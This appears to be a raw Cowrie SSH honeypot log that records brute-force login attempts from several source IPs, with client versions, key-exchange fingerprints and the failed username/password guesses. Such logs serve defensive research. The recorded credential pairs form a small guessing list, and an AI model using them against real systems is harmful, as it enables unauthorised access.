{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59060,"dst_ip":"159.203.135.109","dst_port":22,"session":"5489995c4b2f","protocol":"ssh","message":"New connection: 103.75.199.4:59060 (159.203.135.109:22) [session: 5489995c4b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:31.266910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:31.271272Z","src_ip":"103.75.199.4","session":"5489995c4b2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:31.362050Z","src_ip":"103.75.199.4","session":"5489995c4b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:31.635797Z","src_ip":"103.75.199.4","session":"5489995c4b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:32.729681Z","src_ip":"103.75.199.4","session":"5489995c4b2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":40322,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f7c6c7e5ff","protocol":"ssh","message":"New connection: 94.154.34.232:40322 (10.17.0.5:22) [session: 17f7c6c7e5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:46.591766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:46.647961Z","src_ip":"94.154.34.232","session":"17f7c6c7e5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:46.774543Z","src_ip":"94.154.34.232","session":"17f7c6c7e5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdQWE","message":"login attempt [root/123asdQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:47.284577Z","src_ip":"94.154.34.232","session":"17f7c6c7e5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:48.415269Z","src_ip":"94.154.34.232","session":"17f7c6c7e5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54480,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d94774ae69","protocol":"ssh","message":"New connection: 103.75.199.4:54480 (159.203.135.109:22) [session: 92d94774ae69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:53.164132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:53.168522Z","src_ip":"103.75.199.4","session":"92d94774ae69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:53.259095Z","src_ip":"103.75.199.4","session":"92d94774ae69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:53.529885Z","src_ip":"103.75.199.4","session":"92d94774ae69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:54.623039Z","src_ip":"103.75.199.4","session":"92d94774ae69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54358,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3601c5a7885","protocol":"ssh","message":"New connection: 103.75.199.4:54358 (159.203.135.109:22) [session: a3601c5a7885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:15.048766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:15.053437Z","src_ip":"103.75.199.4","session":"a3601c5a7885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:15.148653Z","src_ip":"103.75.199.4","session":"a3601c5a7885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:15.435180Z","src_ip":"103.75.199.4","session":"a3601c5a7885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:16.536499Z","src_ip":"103.75.199.4","session":"a3601c5a7885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":38510,"dst_ip":"10.17.0.5","dst_port":22,"session":"42bec476e4f0","protocol":"ssh","message":"New connection: 78.40.37.143:38510 (10.17.0.5:22) [session: 42bec476e4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:35.605486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:35.610247Z","src_ip":"78.40.37.143","session":"42bec476e4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:35.690174Z","src_ip":"78.40.37.143","session":"42bec476e4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234%","message":"login attempt [root/Admin1234%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:36.041588Z","src_ip":"78.40.37.143","session":"42bec476e4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50476,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb13e4f9eede","protocol":"ssh","message":"New connection: 103.75.199.4:50476 (159.203.135.109:22) [session: fb13e4f9eede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:36.863853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:36.871070Z","src_ip":"103.75.199.4","session":"fb13e4f9eede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:36.983742Z","src_ip":"103.75.199.4","session":"fb13e4f9eede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:37.123832Z","src_ip":"78.40.37.143","session":"42bec476e4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:37.269373Z","src_ip":"103.75.199.4","session":"fb13e4f9eede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:38.369130Z","src_ip":"103.75.199.4","session":"fb13e4f9eede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":32786,"dst_ip":"159.203.135.109","dst_port":22,"session":"144c771b3dd0","protocol":"ssh","message":"New connection: 103.75.199.4:32786 (159.203.135.109:22) [session: 144c771b3dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:58.769862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:58.774377Z","src_ip":"103.75.199.4","session":"144c771b3dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:58.865433Z","src_ip":"103.75.199.4","session":"144c771b3dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:43:59.140784Z","src_ip":"103.75.199.4","session":"144c771b3dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:00.235500Z","src_ip":"103.75.199.4","session":"144c771b3dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":44720,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d051638c5b7","protocol":"ssh","message":"New connection: 94.154.34.232:44720 (10.17.0.5:22) [session: 4d051638c5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:02.583702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:02.592548Z","src_ip":"94.154.34.232","session":"4d051638c5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:02.720380Z","src_ip":"94.154.34.232","session":"4d051638c5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:03.265039Z","src_ip":"94.154.34.232","session":"4d051638c5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:04.395766Z","src_ip":"94.154.34.232","session":"4d051638c5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60350,"dst_ip":"159.203.135.109","dst_port":22,"session":"2678895a7950","protocol":"ssh","message":"New connection: 103.75.199.4:60350 (159.203.135.109:22) [session: 2678895a7950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:20.586777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:44:20.590968Z","src_ip":"103.75.199.4","session":"2678895a7950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2